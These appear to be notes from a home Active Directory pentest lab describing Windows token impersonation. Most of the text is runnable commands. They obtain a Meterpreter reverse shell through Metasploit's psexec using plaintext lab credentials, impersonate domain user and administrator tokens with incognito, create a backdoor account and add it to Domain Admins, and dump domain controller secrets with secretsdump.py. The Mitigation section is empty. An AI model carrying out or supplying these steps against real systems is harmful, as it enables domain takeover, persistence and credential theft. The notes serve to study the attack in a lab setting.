Token Impersonation

 

Use Incognito on Metasploit:

Getting Meterpreter session:

msfconsole
search psexec
use windows/smb/psexec (exploit)
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.218.139 #Victim PC, this is ThePunisher
set smbuser fcastle
set smbpass Password1
set smbdomain MARVEL.local
options #to confirm everything is set
run

 

Meterpreter steps:

Confirm target (kinda redundant):

shell
whoami
ctrl + c

attack/incognito:

load incognito
list_tokens -u

-u for user

-g for group

 

impersonate_token marvel\\fcastle #2 \\ for character escaping

 

Check:

shell
whoami
ctrl + c

 

go back to before:

rev2self
getuid

 

Impersonate ADMIN if you have their token:

list_tokens -u
impersonate_token marvel\\administrator

 

Create user for us:

shell
net user /add hawkeye Password1@ /domain
image

Make them admin:

net group "Domain Admins" hawkeye /ADD /DOMAIN
image

 

Test/What next?

Try to secrets dump the domain controller (which we can’t do with any of the accounts we had (fcastle and SQLService acc that we cracked)

secretsdump.py MARVEL.local/hawkeye:'Password1@'@192.168.218.136 #IP is domain controller
image

Attack Explained:

Temporary keys that allow you to access a system/network without having to provide credentials each time you access a file. Like cookies!

 

Two types:

  1. Delegate: created for logging into a machine or using Remote Desktop (RDP)
  2. Impersonate: “non-interactive” such as attaching a network drive or a domain logon script (like our mapped drive on spiderman)

 

Pop a shell and load incognito:

image

 

VS finding a domain admin token:

imageimage

Mitigation

Reader ratings (none yet)

Ratings come from verified buyers only.